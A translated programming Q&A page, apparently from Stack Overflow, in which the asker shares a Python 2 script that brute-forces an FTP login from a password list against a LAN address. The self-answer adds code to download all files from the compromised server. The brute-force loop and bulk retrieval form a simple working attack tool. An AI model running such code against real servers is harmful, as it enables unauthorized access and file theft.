使用Python连接从FTP检索文件

Question

我构建了这个简单的工具来暴力破解并连接到ftp服务器

import socket
import ftplib
from ftplib import FTP

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"


ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

目前该工具正常工作(我在文件列表中设置了正确的密码第3位) - 当我登录时,我得到了这个输出:

port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py

从这里,我想要的是允许用户(我)检索文件1个特定文件或所有文件 - 但我不知道最简单的方法是什么

选择本身的1或全部,我可以做,(按1复制全部 - >)但命令本身复制全部或只是一个,如果一个然后基于我不知道如何做.

编辑:添加Xendrm建议的代码yealds这:

Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
  File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
    download(j)
  File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
    ftp.retrbinary("RETR " + files[j],f)
  File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
    conn = self.transfercmd(cmd, rest)
  File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
    return self.ntransfercmd(cmd, rest)[0]
  File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
    resp = self.sendcmd(cmd)
  File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
    return self.getresp()
  File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
    raise error_perm, resp
error_perm: 550 Failed to open file.

Answer 1

好吧,经过多次试验和错误,我发现如何做到这一点. - 该脚本将在选定的目录中的所有文件 - 没有想出如何把所有的文件从所有子目录的为好,但这是绰绰有余好 - 将离开这里未来的人看到.

from ftplib import FTP
import os # allows me to use os.chdir

port=21
ip="192.168.1.108"
password='123'

os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input

ftp.cwd(directory)

for filename in ftp.nlst(filematch): # Loop - looking for matching files
    fhandle = open(filename, 'wb')
    print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
    ftp.retrbinary('RETR ' + filename, fhandle.write)
    fhandle.close()

作为证据,这是从上面的代码收到的输出:

File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py